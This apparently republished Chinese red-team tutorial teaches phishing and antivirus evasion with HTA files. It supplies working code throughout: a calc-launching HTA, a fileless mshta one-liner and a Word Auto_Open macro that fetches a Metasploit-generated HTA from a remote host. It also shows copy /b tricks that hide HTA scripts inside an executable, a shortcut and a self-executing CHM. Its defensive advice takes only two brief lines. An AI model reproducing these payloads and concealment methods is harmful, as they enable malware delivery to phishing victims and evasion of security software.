9

利用HTA文件绕过杀软及邮件钓⻥

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg%3D%3D&%3Bmid=2247490730&%3Bidx=1&%3Bsn=d77012d67bf5fbf44c651cdd04948087
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

eYf2Ybu.png!mobile

点击上方“蓝字”关注我们

本文作者: jokelove (Ms08067内网安全小组成员)

MriUBbq.png!mobile

0x01 基础

HTA是HTML Application的缩写,本⽂介绍HTA在内⽹渗透中的⼏种运⽤。

⼀个简单的VB脚本

HTA⽂件可以解析javascript和VB,因此在内⽹中可以⽤来绕过杀软或是实现邮件钓⻥。

<!--test1.hta-->
<html>
<head>
<title>ONE-简单脚本 </title>
</head>
<body>
<center>
<p>
HTA
HTMLApplication
HTML TEST
</p>
</center>
</body>
<script LANGUAGE="VBScript">
// 开启⼀个计算器
CreateObject("WScript.Shell").run("calc")
</script>
</html>

通过执⾏: mshta %cd%/test.hta 可以看到弹出⼀个计算器。

fYrMBfM.jpg!mobile

双击时,会弹出hta⽂件的框,有时候为了避免弹出这个框,可以在hta⽂件中添加样式:

<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no"SYSMENU="no" CAPTION="no" />

⽆⽂件执⾏hta

mshta命令可以⽤来直接解析VBScript代码,因此可以在cmd中直接输⼊:

mshta.exe javascript:"<script
LANGUAGE=\"VBScript\">CreateObject(\"WScript.Shell\").run(\"calc\")\r\n
close()</script>"

mshta.exe 的默认路径在%windir%\system32\mshta.exe and %windir%\syswow64\mshta.exe

⼩案例 - ⽣成钓⻥⽂件

利⽤metasploit⽣成⼀个hta⽂件

bMBZb2.jpg!mobile

在word中开启宏命令进⾏下载:

fqyiayz.jpg!mobile

脚本如下:

Sub Test()
PID = Shell("mshta.exe http://10.211.55.9:8080/XsFTbf3GZYiiz.ht
a")
End Sub


Sub Auto_Open()
Test
END Sub

剩下就是等待⽬标上线了。

0x02 对HTA的⽂件的隐藏

由于MSHTA对不同后缀的hta⽂件处理有所差异,我们可以通过修改后缀名的⽅式来进⼀步隐藏我们的脚本。第⼀种常⻅的⽅式是将 .hta 修改为 .html 。这种只能通过双击(Miscosoft浏览器下)或者mshta.exe 命令执⾏的⽅式来运⾏我们的hta脚本。

为脚本加上图标

默认的图标过于简单,很难吸引⼈去点击。因此,需要做⼀些⼩优化:

copy /b beauty.ico+test.hta test_with_beauty.hta

在hta⽂件中需要加上:

<HTA:APPLICATION icon="#" />

需要注意的是:

图标只可以在命令⾏上显示,在桌⾯上仍然没有图标

因此,我们必须寻找其它⽅法

和exe⽂件进⾏拼接

copy /b %windir%\system32\calc.exe+test.hta calc2.exe
calc2.exe # 正常运⾏计算机程序
mshta %cd%\calc2.exe # 执⾏的是HTA脚本

这样,我们可以在exe中绑定⼀个hta⽂件。

实战场景中,我们可以绑定⼀个exe,并且添加可以调⽤mshta执⾏脚本的代码。也可以通过shellcode注⼊的⽅式来修改常⻅的exe

使⽤LNK快捷⽅式

合上述讨论⼀致,通过:

Copy /b readme.txt.lnk+test.hta readme2.txt.lnk

点击 readme2.txt.lnk 时正常打开readme.txt

使⽤mshta readme2.txt.lnk时,执⾏我们的脚本

和帮助⽂件进⾏拼接

上述的两种⽅式,都需要⼿⼯输⼊mshta命令来进⾏运⾏,如果仅仅需要⽤户双击既能运⾏正常的程序,⼜要执⾏我们的脚本,需要⽐较复杂的利⽤链条才能实现。下⾯介绍⼀种简单的⽅法:

⽣成⼀个chm⽂件

下载 HTML Help Workshop

写⼀个HPP(帮助⽂档的描述⽂件)

[OPTIONS]
Compatibility=1.1 or later
Compiled file=hello.chm
Default topic=hello.htm
Display compile progress=No
Language=0x410 Italian (Italy)


[FILES]
hello.htm


[INFOTYPES]

3. 编写Hello.htm

<html>
<title> Hello World! </title>
<head>
</head>
<body>


<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db
990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd,/c mshta %CD%\hello.chm">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>


<h2 align=center> CHM Example </h2>
<p><h3 align=center> This is a malicious CHM file </h3></p>
</body>
</html

4. 使⽤HTML Help Workshop 编译⽣成 chm⽂件

利⽤代码就时 hello.htm的第10⾏,

 ,cmd,/c mshta %CD%\hello.chm

和hta⽂件进⾏绑定

copy /b hello.chm+test.hta hello.chm

这样就实现了⽤户在点击时,在不影响原有程序的基础上执⾏我们的hta脚本。

0x03 防范策略

1. 禁⽤office上的宏命令

FZJnMjI.jpg!mobile

2. 下载⽂件严格做好md5值验证

内网小组持续招人,扫描二维码加入我们!

F3amEvZ.png!mobile

扫描下方二维码加入星球学习

邀请进入内部微信群,内部微信群永久有效!

3UZfyuE.png!mobileJr2mIn6.png!mobile

jyyqeay.png!mobileF3amEvZ.png!mobile

riyQfyz.jpg!mobileiq6ZneA.png!mobile

目前35000+人已关注加入我们

JrqqYnb.gif!mobile

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK